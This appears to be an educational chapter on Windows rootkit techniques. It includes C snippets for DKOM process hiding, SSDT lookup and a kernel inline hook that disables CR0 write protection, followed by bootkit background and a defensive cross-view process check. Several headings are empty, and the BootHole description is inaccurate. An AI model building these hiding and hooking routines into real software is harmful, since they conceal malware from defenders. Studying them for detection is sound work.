Rootkit Techniques

DKOM, SSDT hooks, minifilter suppression, kernel inline hooks, bootkit/UEFI persistence, and hypervisor-based rootkits — and why VBS changes every assumption

DKOM — Direct Kernel Object Manipulation

DKOM modifies kernel data structures directly in memory to hide artifacts from the OS's own APIs. The OS API reports only what it can find by traversing its own data structures — if those structures are modified, the API lies.

Process hiding via EPROCESS DKOM:

  PsActiveProcessLinks is a doubly-linked list of all EPROCESS structs.
  NtQuerySystemInformation(SystemProcessInformation) walks this list.
  Tools like Task Manager call NtQuerySystemInformation.

  Normal list:     System(4) <--> smss(280) <--> csrss(444) <--> malware(1234) <--> svchost(...)

  After DKOM unlink:
    System(4) <--> smss(280) <--> csrss(444) <--> svchost(...)
    malware(1234).Flink points nowhere useful; malware process still runs.

  Windows API tools see no malware process.
  Malware process still scheduled and executing.

  EPROCESS.ActiveProcessLinks offsets (x64 Win10/11):
    EPROCESS+0x448 = ActiveProcessLinks (LIST_ENTRY Flink/Blink)
    EPROCESS+0x450 = ActiveProcessLinks.Blink

  Unlink code:
    PLIST_ENTRY prev = malwareEproc->ActiveProcessLinks.Blink;
    PLIST_ENTRY next = malwareEproc->ActiveProcessLinks.Flink;
    prev->Flink = next;
    next->Blink = prev;
    malwareEproc->ActiveProcessLinks.Flink = &malwareEproc->ActiveProcessLinks;
    malwareEproc->ActiveProcessLinks.Blink = &malwareEproc->ActiveProcessLinks;

SSDT Hooks

The System Service Descriptor Table (SSDT, KiServiceTable) maps syscall numbers to kernel function addresses. Modifying these pointers redirects syscalls through the rootkit's handler before the real kernel function executes. On 64-bit Windows, PatchGuard detects and blue-screens systems that modify the SSDT — but see the section on PatchGuard bypass below.

// SSDT hook concept (x64 Windows, simplified)
// KeServiceDescriptorTable is exported by ntoskrnl
extern PKSERVICE_TABLE_DESCRIPTOR KeServiceDescriptorTable;

// KSERVICE_TABLE_DESCRIPTOR layout:
typedef struct _KSERVICE_TABLE_DESCRIPTOR {
    PULONG_PTR  Base;        // KiServiceTable pointer
    PULONG      Count;
    ULONG       Limit;       // number of entries
    PUCHAR      Number;      // argument table
} KSERVICE_TABLE_DESCRIPTOR;

// On Win10 x64, table entries are 32-bit offsets:
// actual_address = (ULONG64)KiServiceTable + (entry >> 4)

PVOID GetSSDTFunctionAddress(ULONG index) {
    PULONG table = (PULONG)KeServiceDescriptorTable->Base;
    return (PVOID)((ULONG64)table + (table[index] >> 4));
}

// Hook NtQuerySystemInformation (index varies per build)
// After hook, all process/thread/module queries filtered by rootkit

Minifilter Bypass at Kernel Level

Minifilter suppression from kernel mode is more direct than the user-mode bypass techniques in chapter 44. A kernel rootkit can:

1. Find the target minifilter's PFLT_FILTER in kernel memory (walk FLT_GLOBALS structures or scan pool with tag "FltF")
2. Locate the filter's FLT_INSTANCE list on specific volumes
3. Unlink the instance from the Filter Manager's volume instance list — the Filter Manager will no longer route IRPs through it
4. Or: directly modify the filter's operation registration table to point its pre-operation and post-operation pointers to no-op stubs

Kernel Inline Hooks

Same technique as user-mode inline hooks (chapter 39) but applied to kernel functions. The rootkit writes a JMP instruction into the target ntoskrnl function to redirect execution to its own handler. Common targets:

// Kernel inline hook installation (conceptual, PatchGuard context)
// Must temporarily disable write protection on kernel code pages
VOID DisableWriteProtect() {
    __writecr0(__readcr0() & ~0x10000); // clear WP bit in CR0
}
VOID EnableWriteProtect() {
    __writecr0(__readcr0() | 0x10000);  // set WP bit in CR0
}

VOID InstallKernelHook(PVOID target, PVOID replacement) {
    UCHAR jmp[14] = {
        0xFF, 0x25, 0x00, 0x00, 0x00, 0x00,  // JMP QWORD PTR [rip+0]
        0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00  // 64-bit absolute address
    };
    *(PVOID*)(jmp + 6) = replacement;

    // On HVCI: VTL1 will block this write — BSOD or no-op depending on SLAT config
    DisableWriteProtect();
    __try {
        RtlCopyMemory(target, jmp, sizeof(jmp));
    } __except(EXCEPTION_EXECUTE_HANDLER) {}
    EnableWriteProtect();
}

Bootkit and UEFI Persistence

Boot Chain (UEFI Secure Boot off):

  Power on
   |
   v
  UEFI firmware (reads from SPI flash / NVRAM)
   |
   v
  Bootloader (bootmgfw.efi in EFI System Partition)
   |
   v
  Windows Boot Manager (winload.efi)
   |
   v
  Windows kernel (ntoskrnl.exe) loaded
   |
   v
  DKOM/callback rootkit activates from a driver loaded at boot (Start=0)

Bootkit attack surfaces:

  1. MBR/VBR bootkit (legacy BIOS systems):
     Overwrites Master Boot Record or Volume Boot Record
     Runs before bootloader, loads rootkit kernel module
     Bypassed by Secure Boot (signed bootloader required)

  2. UEFI bootkit (EFI System Partition):
     Replaces or patches bootmgfw.efi / winload.efi in ESP
     Secure Boot bypass: stolen/leaked signing certificate (BootHole 2020),
       or exploit in UEFI Secure Boot verification path
     Persists across OS reinstall (ESP not wiped by reinstall)
     Examples: ESPecter, BlackLotus (CVE-2023-24932)

  3. UEFI implant (firmware-level):
     Implant written into SPI flash (UEFI firmware itself)
     Persists across disk wipe, OS reinstall, even disk replacement
     Survives until firmware reflash
     Requires physical access or exploitation of UEFI update mechanism
     Examples: MosaicRegressor, CosmicStrand

  Detection:
     Verify ESP contents against known-good bootloader hash (Microsoft hash catalog)
     Check SPI flash content via chipsec (https://github.com/chipsec/chipsec)
     Enable Secure Boot and verify no revoked certificates in Secure Boot DB
     Monitor System Integrity (UEFI) event logs

Hypervisor-Based Rootkits

A hypervisor rootkit (also called a blue pill) installs itself as a Type-1 hypervisor beneath the running OS. Once installed, the OS runs as a guest VM with no awareness of the hypervisor. The hypervisor can intercept everything the guest does: memory reads/writes (via EPT), CPUID execution (for fingerprint hiding), MSR reads/writes (RDMSR/WRMSR), and I/O port accesses. The rootkit is completely invisible to any tool running within the OS:

VBS Limits and What Survives

Detection Strategy — Full Stack

import subprocess, json, hashlib, os, struct

def cross_view_process_check():
    """
    Compare process list from multiple sources:
    1. NtQuerySystemInformation via tasklist
    2. WMI Win32_Process
    3. Kernel memory direct (needs a driver or Volatility/WinPmem)
    Discrepancies = DKOM hiding.
    """
    # Source 1: NtQuerySystemInformation path
    r1 = subprocess.run(['tasklist', '/fo', 'csv'],
                         capture_output=True, text=True)
    pids_tasklist = set()
    for line in r1.stdout.splitlines()[1:]:  # skip header
        parts = line.strip('"').split('",')
        if len(parts) > 1:
            try: pids_tasklist.add(int(parts[1].strip('"')))
            except: pass

    # Source 2: WMI (different code path)
    r2 = subprocess.run(
        ['powershell', '-Command',
         'Get-WmiObject Win32_Process | Select-Object ProcessId | ConvertTo-Json'],
        capture_output=True, text=True)
    try:
        wmi_procs = json.loads(r2.stdout)
        pids_wmi = set(p['ProcessId'] for p in (wmi_procs if isinstance(wmi_procs, list) else [wmi_procs]))
    except:
        pids_wmi = set()

    only_in_tasklist = pids_tasklist - pids_wmi
    only_in_wmi      = pids_wmi - pids_tasklist

    if only_in_tasklist:
        print(f"[!] PIDs in tasklist but not WMI: {only_in_tasklist}")
    if only_in_wmi:
        print(f"[!] PIDs in WMI but not tasklist: {only_in_wmi}")
    if not only_in_tasklist and not only_in_wmi:
        print("[OK] Process lists consistent across sources")

cross_view_process_check()

Q & A